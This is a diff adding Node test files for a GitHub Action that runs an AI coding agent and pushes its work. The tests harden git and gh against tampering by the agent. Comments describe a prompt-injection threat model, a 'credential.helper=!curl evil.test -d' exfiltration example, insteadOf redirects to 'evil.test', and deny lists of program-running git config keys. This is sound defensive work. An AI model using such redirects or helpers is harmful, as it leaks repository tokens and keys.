sameRepo: undefined }).ok, false) + assert.equal(shouldPushWork({ ...live, sameRepo: "yes" }).ok, false) + }) + + /** + * The checkout is advisory — a run continues against whatever is there so + * the proposal still gets built. But pushing from the wrong tree would + * send the DEFAULT branch's content to the pull request's branch and + * clobber the change under review. + */ + test("a tree that is not on the wanted commit never pushes", () => { + assert.equal(shouldPushWork({ ...live, onWantedCommit: false }).ok, false) + assert.match(shouldPushWork({ ...live, onWantedCommit: false }).why, /commit/i) + }) + + test("not knowing which commit we are on refuses the push", () => { + assert.equal(shouldPushWork({ ...live, onWantedCommit: undefined }).ok, false) + }) +}) + +describe("shouldPushWork — never the default branch", () => { + /** + * The branch name comes from the pull request's own head ref, which its + * author controls. Same-repo plus on-the-right-commit already bound that, + * but the default branch is the one target where a mistake is not + * recoverable by closing a pull request — so it is refused by name. + */ + test("a pull request branch is fine", () => { + assert.equal(shouldPushWork({ ...live, branch: "feat/x", defaultBranch: "main" }).ok, true) + }) + + test("the default branch is refused", () => { + const r = shouldPushWork({ ...live, branch: "main", defaultBranch: "main" }) + assert.equal(r.ok, false) + assert.match(r.why, /default branch/i) + }) + + test("the refusal ignores case", () => { + assert.equal(shouldPushWork({ ...live, branch: "Main", defaultBranch: "main" }).ok, false) + }) + + test("not knowing the default branch does not block an ordinary push", () => { + assert.equal(shouldPushWork({ ...live, branch: "feat/x" }).ok, true) + }) +}) + +describe("changedPaths — the bug a live run found that 345 unit tests did not", () => { + /** + * Run 40845669513. The Action wrote ten passing tests and then could not + * save them: "pathspec 'ests/pricing.spec.js' did not match any files". + * + * `git status --porcelain` puts a SPACE in the first column for an + * unstaged modification, so the line is " M tests/pricing.spec.js" — three + * characters before the path. The caller trimmed git's whole stdout, which + * removed that leading space from the FIRST LINE ONLY, leaving a two + * character prefix and a fixed slice(3) that ate the "t". + * + * Both ends are fixed: the caller no longer trims, and this parse no + * longer assumes a fixed width. The tests passed before because they all + * fed it well-formed porcelain — the corruption happened upstream. + */ + test("a first line whose leading space was trimmed away still parses", () => { + assert.deepEqual(changedPaths("M tests/pricing.spec.js"), ["tests/pricing.spec.js"]) + }) + + test("the untrimmed form parses identically", () => { + assert.deepEqual(changedPaths(" M tests/pricing.spec.js"), ["tests/pricing.spec.js"]) + }) + + test("a mixed block where only the first line lost its space", () => { + const corrupted = ["M tests/pricing.spec.js", " M src/pricing.js", "?? tests/new.spec.js"].join("\n") + assert.deepEqual(changedPaths(corrupted), ["tests/pricing.spec.js", "src/pricing.js", "tests/new.spec.js"]) + }) + + test("every two-letter status code is handled", () => { + for (const code of ["MM", "A ", " A", "AM", "RM", "??", "UU", " D", "D "]) { + assert.deepEqual(changedPaths(`${code} some/file.js`), ["some/file.js"], `status ${JSON.stringify(code)}`) + } + }) + + test("a path that itself begins with a space survives, because it is quoted", () => { + assert.deepEqual(changedPaths('?? " leading.spec.js"'), [" leading.spec.js"]) + }) +}) + +describe("isSameRepo — whose branch is this, really", () => { + /** + * Run 40857884973 refused to save with "the change does not come from this + * repository", on a branch in this very repository. + * + * The caller read the head repository off the pull request object that + * main.mjs fetches — but it only fetches that for a COMMENT event, where a + * PR number has to be resolved to a head sha. On a pull_request event the + * sha is already in the payload, so nothing was fetched, the answer was + * undefined, and undefined is a refusal. The head repository was in the + * event payload the whole time. + */ + test("the same repository, compared case-insensitively", () => { + assert.equal(isSameRepo("Acme/Shop", "acme/shop"), true) + assert.equal(isSameRepo("acme/shop", "acme/shop"), true) + }) + + test("a fork is not this repository", () => { + assert.equal(isSameRepo("someone/shop", "acme/shop"), false) + }) + + test("not knowing is a refusal, never an assumption", () => { + assert.equal(isSameRepo(undefined, "acme/shop"), undefined) + assert.equal(isSameRepo("", "acme/shop"), undefined) + assert.equal(isSameRepo("acme/shop", ""), undefined) + }) +}) + +describe("changedPaths — paths git had to escape", () => { + /** + * With `core.quotePath` on + * (the default) git octal-escapes non-ASCII bytes, so `café.spec.ts` comes + * out as `"caf\\303\\251.spec.ts"`. Stripping the quotes without decoding + * leaves a path that does not exist, and `git add` with several pathspecs + * ABORTS ON THE FIRST MISS and stages nothing — so one accented filename + * loses every file the run produced. + * + * The call site now passes `-c core.quotePath=false`, which stops the + * escaping at source. This decodes it anyway, so a repository that forces + * the setting back on cannot reintroduce it. + * + * The old test picked the one quoted input that round-trips — a path with + * a space, which git quotes but does not escape — so the suite was green + * right beside the bug. + */ + test("an octal-escaped non-ASCII path is decoded back to its real name", () => { + assert.deepEqual(changedPaths('?? "caf\\303\\251.spec.ts"'), ["café.spec.ts"]) + }) + + test("a quoted path with a space still works — the case that used to pass", () => { + assert.deepEqual(changedPaths('?? "my file.spec.js"'), ["my file.spec.js"]) + }) + + test("escaped quotes and backslashes come back as themselves", () => { + assert.deepEqual(changedPaths('?? "say \\"hi\\".spec.js"'), ['say "hi".spec.js']) + assert.deepEqual(changedPaths('?? "back\\\\slash.spec.js"'), ["back\\slash.spec.js"]) + }) + + test("an unquoted path is left exactly as it is", () => { + assert.deepEqual(changedPaths("?? plain.spec.js"), ["plain.spec.js"]) + assert.deepEqual(changedPaths("?? caf\u00e9.spec.ts"), ["café.spec.ts"]) + }) + + test("a rename to an escaped path reports the decoded destination", () => { + assert.deepEqual(changedPaths('R old.js -> "caf\\303\\251.spec.ts"'), ["café.spec.ts"]) + }) +}) + +describe("changedPaths — characters outside the basic plane", () => { + /** + * The decoder walked the string by UTF-16 code unit and ran Buffer.from on + * each one, so an astral character — an emoji — was split into its two + * surrogate halves and each half became U+FFFD: + * + * "my 🎉 file.spec.ts" -> "my \uFFFD\uFFFD file.spec.ts" + * + * Reachable BECAUSE of the other half of the fix: with + * `core.quotePath=false` git stops octal-escaping non-ASCII but still + * QUOTES a path containing a space, so an emoji in a spaced filename + * arrives raw inside quotes and goes through this branch. The result is a + * path that does not exist, `git add` aborts, and the whole approved run's + * work is lost — the original bug, reached through the setting added to + * prevent it. + * + * BMP characters like é survived, which is why the first round of tests + * passed. + */ + test("an emoji in a quoted path survives", () => { + assert.deepEqual(changedPaths('?? "my 🎉 file.spec.ts"'), ["my 🎉 file.spec.ts"]) + }) + + test("an emoji that git DID escape also survives", () => { + // 🎉 is f0 9f 8e 89. + assert.deepEqual(changedPaths('?? "p\\360\\237\\216\\211q.spec.ts"'), ["p🎉q.spec.ts"]) + }) + + test("mixed astral, accented and plain in one path", () => { + assert.deepEqual(changedPaths('?? "caf\u00e9 🎉 ok.spec.ts"'), ["café 🎉 ok.spec.ts"]) + }) +}) + +describe("the App token has to reach git, not just gh", () => { + /** + * action.yml and the starter both tell + * customers they can delete the `permissions:` block once the App is + * installed, "because the App's installation token carries these + * permissions itself". The token was put in GH_TOKEN, which only `gh` + * reads — the push is a plain `git push` authenticating with whatever + * actions/checkout left in .git/config. + * + * So following our own advice, on an org whose default workflow token is + * read-only, made every approved run fail its push with a 403. + * + * Passed as config rather than written into the remote URL: a token in a + * URL ends up in the reflog, in error messages and in `git remote -v`. + */ + const URL = "https://github.com/acme/shop.git" + + test("builds a basic auth header SCOPED to the push url", () => { + const got = pushCredentialEnv("ghs_abc123", URL) + assert.equal(got.GIT_CONFIG_KEY_0, "http.https://github.com/acme/shop.git.extraheader") + const b64 = got.GIT_CONFIG_VALUE_0.split("basic ")[1] + assert.equal(Buffer.from(b64, "base64").toString("utf8"), "x-access-token:ghs_abc123") + }) + + /** + * `url..insteadOf` in the repository's own config — which the agent + * can write — redirects a push to another host. Verified: one line turns + * github.com into evil.test. A GLOBAL header follows it there and hands + * over the App's installation token. + */ + test("the header is never global", () => { + const got = pushCredentialEnv("ghs_abc123", URL) + assert.notEqual(got.GIT_CONFIG_KEY_0, "http.extraheader") + assert.match(got.GIT_CONFIG_KEY_0, /^http\.https:\/\/github\.com\/acme\/shop\.git\.extraheader$/) + }) + + test("no token, or no url, means no credential", () => { + assert.deepEqual(pushCredentialEnv(undefined, URL), {}) + assert.deepEqual(pushCredentialEnv("", URL), {}) + assert.deepEqual(pushCredentialEnv("ghs_abc123", ""), {}) + assert.deepEqual(pushCredentialEnv("ghs_abc123", undefined), {}) + }) + + test("the token itself is never passed in the clear", () => { + const got = pushCredentialEnv("ghs_secret", URL) + assert.ok( + !Object.values(got).some((v) => v.includes("ghs_secret")), + `the raw token appeared in ${JSON.stringify(got)}`, + ) + }) + + test("the push url comes from the repository NAME, not from git config", () => { + assert.equal(pushUrlFor("acme/shop"), "https://github.com/acme/shop.git") + assert.equal(pushUrlFor("acme/shop", "https://ghe.corp/"), "https://ghe.corp/acme/shop.git") + }) + + test("a repository name we cannot read gives no url, so no push", () => { + for (const bad of ["", " ", "acme", "acme/shop/extra", undefined, "acme shop"]) { + assert.equal(pushUrlFor(bad), undefined, `accepted ${JSON.stringify(bad)}`) + } + }) +}) + +describe("our own git commands must not carry secrets or run hooks", () => { + /** + * These commands run AFTER the agent, which has had --yolo write access to + * the working tree. spawnSync with no `env` inherits everything, so an + * agent that wrote .git/hooks/pre-commit would have it executed by our + * `git commit` with TC_ACTION_APP_PRIVATE_KEY, GH_TOKEN and the customer's + * BrowserStack key in its environment. On pull_request_target the diff is + * attacker-authored, so that is one prompt injection from a key leaving + * the runner. + */ + const dirty = { + PATH: "/usr/bin", + HOME: "/home/runner", + HTTPS_PROXY: "http://proxy:8080", + TC_ACTION_APP_PRIVATE_KEY: "-----BEGIN PRIVATE KEY-----", + TC_ACTION_APP_ID: "12345", + GH_TOKEN: "ghs_secret", + BROWSERSTACK_ACCESS_KEY: "bs_secret", + GITHUB_TOKEN: "ghp_secret", + } + + test("no secret survives", () => { + const got = gitEnvFrom(dirty) + for (const k of [ + "TC_ACTION_APP_PRIVATE_KEY", + "TC_ACTION_APP_ID", + "GH_TOKEN", + "BROWSERSTACK_ACCESS_KEY", + "GITHUB_TOKEN", + ]) { + assert.equal(got[k], undefined, `${k} reached git`) + } + assert.ok(!JSON.stringify(got).includes("secret"), `a secret value leaked: ${JSON.stringify(got)}`) + }) + + test("what git actually needs survives", () => { + const got = gitEnvFrom(dirty) + // PATH is pinned rather than inherited — see the hijack test below. + assert.equal(got.PATH, "/usr/bin:/bin") + assert.equal(got.HOME, "/home/runner") + assert.equal(got.HTTPS_PROXY, "http://proxy:8080", "a push has to reach the network") + }) + + test("an empty environment still disables the system and user config", () => { + // Nothing is inherited, and git is told to ignore /etc/gitconfig and + // ~/.gitconfig too, so the only configuration in play is what this + // process passes with -c. + for (const got of [gitEnvFrom({}), gitEnvFrom()]) { + assert.equal(got.GIT_CONFIG_NOSYSTEM, "1") + assert.equal(got.GIT_CONFIG_GLOBAL, "/dev/null") + assert.equal(got.GIT_TERMINAL_PROMPT, "0") + assert.equal(got.GIT_ASKPASS, "") + assert.equal(got.SSH_ASKPASS, "") + assert.equal(got.GIT_ATTR_NOSYSTEM, "1") + // Nothing was inherited: every key is one we set deliberately. + assert.ok(Object.keys(got).every((k) => k.startsWith("GIT_") || k === "SSH_ASKPASS" || k === "PATH")) + } + }) + + /** + * Every one of these is a way the REPOSITORY can ask git to run a program + * on our behalf, and the agent can write all of them. Asserted by name so + * removing one is a failing test rather than a quiet loss. + */ + test("every exec-capable config key is pinned shut", () => { + const settings = GIT_SAFE_ARGS.filter((a) => a !== "-c") + for (const key of [ + "core.hooksPath=/dev/null", + "core.fsmonitor=false", + "core.sshCommand=", + "core.pager=cat", + "diff.external=", + "commit.gpgsign=false", + "gpg.program=false", + "core.attributesFile=/dev/null", + "credential.helper=", + "core.askPass=", + "protocol.allow=never", + "protocol.https.allow=always", + "http.proxy=", + "core.gitProxy=", + ]) { + assert.ok(settings.includes(key), `${key} is not pinned: ${JSON.stringify(settings)}`) + } + }) + + test("they are passed as -c pairs, so git reads them as config", () => { + assert.equal(GIT_SAFE_ARGS.length % 2, 0) + for (let i = 0; i < GIT_SAFE_ARGS.length; i += 2) { + assert.equal(GIT_SAFE_ARGS[i], "-c") + } + }) +}) + +/** + * The agent runs with --yolo write access to the tree, and `.git/config` is + * part of the tree it can write. Two separate things go wrong there, so there + * are two separate defences. + */ +describe("the repository's own git config must not steer the push", () => { + test("a redirect is refused — insteadOf rewrites even an explicit URL", () => { + // Verified against real git: `git push https://github.com/acme/shop.git` + // with url."https://evil.test/".insteadOf "https://github.com/" set + // reports `failed to push some refs to 'https://evil.test/acme/shop.git'`. + // Naming the URL on the command line is NOT enough. + assert.deepEqual(unexpectedConfigKeys("url.https://evil.test/.insteadOf\ncore.bare"), [ + "url.https://evil.test/.insteadOf", + ]) + assert.deepEqual(unexpectedConfigKeys("url.https://evil.test/.pushInsteadOf"), [ + "url.https://evil.test/.pushInsteadOf", + ]) + }) + + test("a credential helper is refused — git runs it as a shell command", () => { + // `credential.helper=!curl evil.test -d` executes on the first 401. + assert.deepEqual(unexpectedConfigKeys("credential.helper"), ["credential.helper"]) + }) + + test("the keys that run a program are refused", () => { + for (const key of [ + "core.sshCommand", + "core.gitProxy", + "core.hooksPath", + "core.fsmonitor", + "core.pager", + "core.askPass", + "filter.lfs.clean", + "filter.evil.process", + "diff.external", + "diff.evil.textconv", + "gpg.program", + "uploadpack.packObjectsHook", + "sequence.editor", + "pager.diff", + "protocol.ext.allow", + "remote.origin.uploadpack", + "http.proxy", + "include.path", + "includeIf.gitdir:/x.path", + ]) { + assert.deepEqual(unexpectedConfigKeys(key), [key], `${key} must be refused`) + } + }) + + test("case does not matter — git lowercases section and key names", () => { + assert.deepEqual(unexpectedConfigKeys("CREDENTIAL.HELPER"), ["CREDENTIAL.HELPER"]) + assert.deepEqual(unexpectedConfigKeys("CORE.FILEMODE"), []) + }) + + /** + * The point of an allow list: a key nobody has thought about yet is + * refused without anyone having to add it. git gains config keys with + * every release, and several of them run programs. + */ + test("a key we have never heard of is refused by default", () => { + assert.deepEqual(unexpectedConfigKeys("some.future.hook"), ["some.future.hook"]) + assert.deepEqual(unexpectedConfigKeys("http.sslVerify"), ["http.sslVerify"]) + assert.deepEqual(unexpectedConfigKeys("http.curloptResolve"), ["http.curloptResolve"]) + assert.deepEqual(unexpectedConfigKeys("core.worktree"), ["core.worktree"]) + assert.deepEqual(unexpectedConfigKeys("extensions.worktreeConfig"), ["extensions.worktreeConfig"]) + }) + + test("a bare http.extraheader is refused; only a scoped one is expected", () => { + assert.deepEqual(unexpectedConfigKeys("http.extraheader"), ["http.extraheader"]) + assert.deepEqual(unexpectedConfigKeys("http.https://github.com/.extraheader"), []) + }) + + /** + * This is the half that decides whether the Action works at all. Every one + * of these is written by actions/checkout on a perfectly ordinary run, so + * refusing any of them would refuse every push we have ever made. + */ + test("an ordinary checkout is NOT refused", () => { + const afterCheckout = [ + "core.repositoryformatversion", + "core.filemode", + "core.bare", + "core.logallrefupdates", + "remote.origin.url", + "remote.origin.fetch", + "http.https://github.com/.extraheader", + "branch.main.remote", + "branch.main.merge", + "user.name", + "user.email", + // safe.directory is deliberately absent: actions/checkout writes it + // to a TEMPORARY GLOBAL config, and we read local + worktree only. + "gc.auto", + ].join("\n") + assert.deepEqual(unexpectedConfigKeys(afterCheckout), []) + }) + + test("nothing in, nothing out", () => { + for (const empty of ["", " ", undefined, null]) assert.deepEqual(unexpectedConfigKeys(empty), []) + }) +}) + +describe("the credential travels in the environment, not in argv", () => { + test("it is a scoped extraheader delivered through GIT_CONFIG_*", () => { + const got = pushCredentialEnv("ghs_secret", "https://github.com/acme/shop.git") + assert.equal(got.GIT_CONFIG_COUNT, "1") + assert.equal(got.GIT_CONFIG_KEY_0, "http.https://github.com/acme/shop.git.extraheader") + assert.equal(got.GIT_CONFIG_VALUE_0, `AUTHORIZATION: basic ${Buffer.from("x-access-token:ghs_secret").toString("base64")}`) + }) + + test("anyone running `ps` sees no token", () => { + // argv is world-readable on the runner; /proc//environ is not. + const argv = ["push", "https://github.com/acme/shop.git", "HEAD:refs/heads/x"] + assert.ok(!argv.join(" ").includes("ghs_secret")) + }) + + test("no token or no URL means no credential at all, never a half-formed one", () => { + assert.deepEqual(pushCredentialEnv("", "https://github.com/a/b.git"), {}) + assert.deepEqual(pushCredentialEnv("ghs_x", ""), {}) + assert.deepEqual(pushCredentialEnv(undefined, undefined), {}) + }) +}) + +/** + * The agent writes to the runner as the same user we do, and several + * directories on the default PATH are writable by that user. A planted `git` + * earlier on PATH would be handed the installation token. + */ +describe("git itself must be the real git", () => { + const exists = (p) => ["/usr/bin/git", "/bin/git"].includes(p) + const notWritable = () => false + + test("an absolute, root-owned path is used, never a bare name", () => { + assert.equal(trustedGitPath({ exists, canWrite: notWritable }), "/usr/bin/git") + }) + + test("a candidate WE can write is not trusted — that is the hijack", () => { + const canWriteUsrBin = (p) => p === "/usr/bin/git" + assert.equal(trustedGitPath({ exists, canWrite: canWriteUsrBin }), "/bin/git") + }) + + test("nothing trustworthy means nothing, not a fallback to PATH", () => { + // A fallback to bare "git" would reintroduce exactly the hole this + // closes, so the caller is made to handle the absence instead. + assert.equal(trustedGitPath({ exists: () => false, canWrite: notWritable }), undefined) + assert.equal(trustedGitPath({ exists, canWrite: () => true }), undefined) + }) + + test("PATH is pinned, not inherited — a planted directory cannot come along", () => { + const got = gitEnvFrom({ PATH: "/home/runner/.local/bin:/usr/bin" }) + assert.equal(got.PATH, "/usr/bin:/bin") + }) +}) + +/** + * Every gh call we make carries a token, the App's included. The agent can + * write to `$HOME/.local/bin`, which is on PATH ahead of the system folders, + * and to the job's shared gh settings folder. + */ +describe("gh itself must be the real gh, with settings nobody planted", () => { + const notWritable = () => false + + test("a system gh is used, never a bare name", () => { + const exists = (p) => p === "/usr/bin/gh" + assert.equal(trustedGhPath({ exists, canWrite: notWritable }), "/usr/bin/gh") + }) + + test("the agent's own bin folder is never a candidate", () => { + // Even if a gh there looked read-only, it is not where we look. + const exists = (p) => p.endsWith("/.local/bin/gh") + assert.equal(trustedGhPath({ exists, canWrite: notWritable }), undefined) + }) + + test("a gh we can write is skipped for the next one", () => { + const exists = (p) => ["/usr/local/bin/gh", "/opt/homebrew/bin/gh"].includes(p) + const canWrite = (p) => p === "/usr/local/bin/gh" + assert.equal(trustedGhPath({ exists, canWrite }), "/opt/homebrew/bin/gh") + }) + + test("nothing trustworthy means nothing, not a fallback to PATH", () => { + assert.equal(trustedGhPath({ exists: () => false, canWrite: notWritable }), undefined) + assert.equal(trustedGhPath({ exists: () => true, canWrite: () => true }), undefined) + }) + + test("our settings folder replaces the shared one the agent can write", () => { + const got = ghEnvFrom( + { GH_CONFIG_DIR: "/runner/_temp/tc-gh-config", GH_TOKEN: "workflow-token", PATH: "/usr/bin" }, + { token: "app-token", configDir: "/runner/_temp/tc-gh-call-abc" }, + ) + assert.equal(got.GH_CONFIG_DIR, "/runner/_temp/tc-gh-call-abc") + assert.equal(got.GH_TOKEN, "app-token") + assert.equal(got.GH_NO_UPDATE_NOTIFIER, "1") + assert.equal(got.GH_PROMPT_DISABLED, "1") + }) + + test("no source file starts gh by its bare name", () => { + // Every call must go through runGh in main.mjs, which uses the path + // found above and a fresh settings folder. + const src = new URL("../src/", import.meta.url).pathname + for (const f of readdirSync(src).filter((n) => n.endsWith(".mjs"))) { + const code = readFileSync(join(src, f), "utf8") + .split("\n") + .filter((l) => !/^\s*(\*|\/\/)/.test(l)) + .join("\n") + assert.doesNotMatch(code, /spawn(Sync)?\(\s*["']gh["']/, `${f} runs gh by name`) + assert.doesNotMatch(code, /exec(File)?(Sync)?\(\s*["']gh["']/, `${f} runs gh by name`) + } + }) +}) + +/** + * Found by a live run, which refused to save with a list of + * fifteen "unexpected" keys — every one of them a flag WE pass in + * GIT_SAFE_ARGS. + * + * `git config --list` includes config given on the command line with `-c`. + * So the check read our own hardening back and reported it as tampering, + * which would have blocked every push the Action ever makes. + * + * This runs real git, because the bug was in what git returns, not in how + * the listing is parsed — a fixture would have agreed with the broken code. + */ +describe("the config check reads the repository, not our own flags", () => { + test("-c values do not come back as unexpected keys", () => { + const dir = mkdtempSync(join(tmpdir(), "tc-config-")) + try { + execFileSync("git", ["init", "-q", dir]) + const listing = execFileSync( + "git", + [...GIT_SAFE_ARGS, "-C", dir, ...CONFIG_READ_ARGS], + { encoding: "utf8", env: gitEnvFrom({}) }, + ) + assert.deepEqual( + unexpectedConfigKeys(listing), + [], + "a freshly initialised repository must be acceptable, with our own -c flags in play", + ) + } finally { + rmSync(dir, { recursive: true, force: true }) + } + }) +}) + +/** + * Two ways the push could carry more than the run meant to write. + */ +describe("the push carries the run's test files and nothing else", () => { + test("a new directory must arrive as its files, not as one entry", () => { + // `git status --porcelain` without -uall collapses a new directory to + // `?? tests/`. splitPushable then sees ONE path with one segment, its + // deny list never sees `tests/.env` or `tests/run.log`, and + // `git add tests/` commits the lot. + const collapsed = changedPaths("?? tests/\n") + assert.deepEqual(collapsed, ["tests/"], "this is what the old command produced") + const { push } = splitPushable(collapsed) + assert.deepEqual(push, ["tests/"], "and the deny list cannot see inside it") + + // With -uall the same tree arrives file by file, so the deny list works. + const expanded = changedPaths("?? tests/login.spec.ts\n?? tests/.env\n?? tests/run.log\n") + const split = splitPushable(expanded) + assert.deepEqual(split.push, ["tests/login.spec.ts"]) + assert.ok(split.skip.includes("tests/.env"), "a secret must never be committed") + }) + + test("a commit the agent made itself is not ours to push", () => { + // We push HEAD. If the agent committed, HEAD carries whatever it put in + // source, lockfiles.github/ — none of it filtered by splitPushable. + assert.equal(agentCommitted("aaa111", "bbb222"), true) + assert.equal(agentCommitted("aaa111", "aaa111"), false) + }) + + test("not knowing where HEAD was is not permission to push", () => { + assert.equal(agentCommitted(undefined, "bbb222"), true, "unknown must fail closed") + assert.equal(agentCommitted("", "bbb222"), true) + }) +}) + +/** + * `.github/` tells GitHub what to run, and a symlink can point anywhere on the + * runner. Neither is test work, so neither is pushed. + */ +describe("splitPushable refuses .github and symlinks", () => { + test("anything under .github is skipped", () => { + const { push, skip } = splitPushable([ + ".github/actions/setup/action.yml", + ".github/CODEOWNERS", + ".github/workflows/ci.yml", + "packages/web/.GitHub/x.yml", + "tests/login.spec.ts", + ]) + assert.deepEqual(push, ["tests/login.spec.ts"]) + assert.equal(skip.length, 4) + }) + + test("a file merely named like it is kept", () => { + const { push } = splitPushable(["tests/github.spec.ts", "src/.githubrc.test.ts"]) + assert.deepEqual(push, ["tests/github.spec.ts", "src/.githubrc.test.ts"]) + }) + + test("a symlink is skipped", () => { + const isSymlink = (p) => p === "tests/fixtures/link" + const { push, skip } = splitPushable(["tests/fixtures/link", "tests/a.spec.ts"], { isSymlink }) + assert.deepEqual(push, ["tests/a.spec.ts"]) + assert.deepEqual(skip, ["tests/fixtures/link"]) + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs new file mode 100644 index 0000000..4a4d3df --- /dev/null +++ b/test-companion/test/report.test.mjs @@ -0,0 +1,1507 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { OUTCOMES } from "../src/outcome.mjs" +import { + renderJobSummary, + renderComment, + renderCheckSummary, + CHECK_SUMMARY_LIMIT, + chooseCommentAction, + checkSha, + checkSubjectFor, + COMMENT_MARKER, + COMMENT_LIMIT, + renderNotAuthorized, + renderUnknownRequest, + proposalMarkerFor, + findProposal, + renderProposal, + proposalDroppedMarkerFor, + proposalConsumedMarkerFor, + proposalAlreadyUsed, + proposalNeedsDropping, + flattenPages, + renderExtraChecks, + accessibilityFailsCheck, + renderApprovedPlan, + hasApproverEdits, + renderProposalBody, + isApprovableJob, + findSupersededProposal, + checkRequestFor, + inFlightCheckId, +} from "../src/report.mjs" + +/** The login this Action posts as. Identity, not account type. */ +const US = "test-companion[bot]" + +const base = { + workflow: "generate", + outcome: OUTCOMES.SUCCEEDED, + summary: { workflow: "generate", event: "pr_merged", preview: "true", duration: "38s" }, + runUrl: "https://github.com/acme/shop/actions/runs/99", +} + +describe("renderJobSummary", () => { + test("leads with what happened", () => { + const md = renderJobSummary(base) + assert.match(md, /Succeeded/) + assert.match(md, /generate/) + }) + + // a preview run must be marked as one wherever it reports, or a reader + // sees a clean result and assumes the work landed. + test("marks a preview run, and scopes the claim to Test Companion's own writes", () => { + const md = renderJobSummary(base) + assert.match(md, /Preview/i) + assert.match(md, /write tools/i) + // It must NOT claim nothing at all was written. Preview deliberately + // allows `execute_command`, since that is how tests run, so a shell + // command the agent chose can still edit a file or push. The old wording + // promised a guarantee the gate does not give. + assert.doesNotMatch(md, /\bnothing was written\b/i) + assert.match(md, /[Ss]hell commands.*not covered/i) + }) + + test("does not claim preview on a live run", () => { + const md = renderJobSummary({ ...base, summary: { ...base.summary, preview: "false" } }) + assert.doesNotMatch(md, /Preview —/i) + }) + + // Every run leaves a readable result, including the ones that went wrong + // a run with no report at all is exactly when the reader needs the page most. + test("still renders when the CLI left no report", () => { + const md = renderJobSummary({ ...base, outcome: OUTCOMES.COULD_NOT_RUN, summary: {} }) + assert.match(md, /Could not run/) + assert.ok(md.length > 0) + }) + + test("links the run", () => { + assert.match(renderJobSummary(base), /actions\/runs\/99/) + }) +}) + +describe("renderComment", () => { + // The marker is how the next run finds this comment instead of adding a + // second one. It must be in every comment we ever write. + test("always carries the marker that makes it findable", () => { + assert.match(renderComment(base), new RegExp(COMMENT_MARKER)) + }) + + test("is hidden from the reader", () => { + const c = renderComment(base) + assert.match(c, /`, + }) + + test("a proposal for an earlier commit is found, and its sha reported", () => { + const found = findSupersededProposal([proposal("aaaaaaa1")], "bbbbbbb2", US) + assert.equal(found?.sha, "aaaaaaa1") + }) + + test("a proposal for THIS commit is not superseded — it is live", () => { + assert.equal(findSupersededProposal([proposal("aaaaaaa1")], "aaaaaaa1", US), undefined) + }) + + test("no proposal at all means nobody was talking to us", () => { + assert.equal(findSupersededProposal([], "aaaaaaa1", US), undefined) + assert.equal(findSupersededProposal(undefined, "aaaaaaa1", US), undefined) + }) + + test("the newest superseded proposal wins, not the first", () => { + const found = findSupersededProposal( + [ + { ...proposal("aaa11111"), id: 1 }, + { ...proposal("bbb22222"), id: 2 }, + ], + "ccc33333", + US, + ) + assert.equal(found?.sha, "bbb22222") + }) + + test("a person quoting our marker cannot fake one", () => { + const human = { user: { type: "User" }, body: "" } + assert.equal(findSupersededProposal([human], "bbbbbbb2", US), undefined) + }) +}) + +describe("the proposal marker carries the JOB, not just the commit", () => { + /** + * The marker used to record the commit and the requester and nothing + * else. On the GO path `intent.workflow` is + * undefined, so `plan.workflow` was never set and the CLI resolved the + * binding itself from `--event pr_comment` — MatchEvent(...)[0], whichever + * is first in the file. + * + * So on a repository with two pr_comment bindings: ask for `fix`, read a + * proposal for `fix`, reply `go`, and something else runs live with + * yolo. is "what you saw is what runs"; nothing carried the job + * across. + */ + test("the marker records the workflow", () => { + assert.match(proposalMarkerFor("abc1234", "someone", "fix"), /workflow=fix/) + }) + + test("findProposal hands the workflow back, so the run can be pinned to it", () => { + const comments = [ + { + user: { type: "Bot", login: US }, + body: `a plan\n\n${proposalMarkerFor("abc1234", "someone", "fix")}`, + }, + ] + assert.equal(findProposal(comments, "abc1234", undefined, US)?.workflow, "fix") + }) + + /** Proposals written before the marker carried a job stay approvable. */ + test("a marker with no workflow still matches, and reports none", () => { + const old = [ + { user: { type: "Bot", login: US }, body: "plan\n\n" }, + ] + const found = findProposal(old, "abc1234", undefined, US) + assert.ok(found, "an older marker must still be found") + assert.equal(found.workflow, undefined) + assert.equal(found.requester, "someone") + }) + + test("the requester still survives alongside the workflow", () => { + const comments = [{ user: { type: "Bot", login: US }, body: proposalMarkerFor("abc1234", "someone", "test-pr") }] + const found = findProposal(comments, "abc1234", undefined, US) + assert.equal(found.requester, "someone") + assert.equal(found.workflow, "test-pr") + }) +}) + +describe("checkRequestFor — one check per commit, not three", () => { + test("the first check on a commit is created", () => { + assert.deepEqual(checkRequestFor("abc", new Map()), { method: "POST", path: "check-runs" }) + }) + + test("the second updates the first instead of adding another", () => { + const made = new Map([["abc", 99]]) + assert.deepEqual(checkRequestFor("abc", made), { method: "PATCH", path: "check-runs/99" }) + }) + + /** A run can check the head early and the reported commit later. */ + test("a different commit gets its own check", () => { + const made = new Map([["abc", 99]]) + assert.deepEqual(checkRequestFor("def", made), { method: "POST", path: "check-runs" }) + }) + + test("no memo at all still works", () => { + assert.deepEqual(checkRequestFor("abc", undefined), { method: "POST", path: "check-runs" }) + }) +}) + +describe("the two marker readers must not drift apart", () => { + /** + * They already had. findProposal learned about `workflow=`; + * findSupersededProposal, 200 lines away, did not — and its pattern + * demanded ` -->` right after the optional `by=`, so it matched NO marker + * this branch writes. + * + * The consequence was the exact failure commit 0c2125b68f fixed: reply + * `go` after the branch moves, the superseded lookup finds nothing, and + * you are told "No @browserstack mention" again. + * + * The old tests missed it because the superseded block hand-wrote its + * fixture while the new marker tests only ever fed proposalMarkerFor + * output to findProposal. Nothing crossed the two. These do. + */ + const bot = (body, id = 1) => ({ user: { type: "Bot", login: US }, id, body: `a plan\n\n${body}` }) + + test("a marker written by proposalMarkerFor is found by BOTH readers", () => { + const marker = proposalMarkerFor("def5678", "alice", "test-pr") + assert.equal(findProposal([bot(marker)], "def5678", undefined, US)?.workflow, "test-pr") + assert.equal(findSupersededProposal([bot(marker)], "aaa1111", US)?.sha, "def5678") + }) + + test("and the superseded reader still reports who asked", () => { + const marker = proposalMarkerFor("def5678", "alice", "fix") + assert.equal(findSupersededProposal([bot(marker)], "aaa1111", US)?.requester, "alice") + }) + + test("every shape proposalMarkerFor can emit is readable by both", () => { + for (const args of [ + ["def5678", "alice", "fix"], + ["def5678", "alice", undefined], + ["def5678", undefined, "fix"], + ["def5678", undefined, undefined], + ]) { + const marker = proposalMarkerFor(...args) + assert.ok(findProposal([bot(marker)], "def5678", undefined, US), `findProposal missed ${marker}`) + assert.ok(findSupersededProposal([bot(marker)], "aaa1111", US), `findSupersededProposal missed ${marker}`) + } + }) +}) 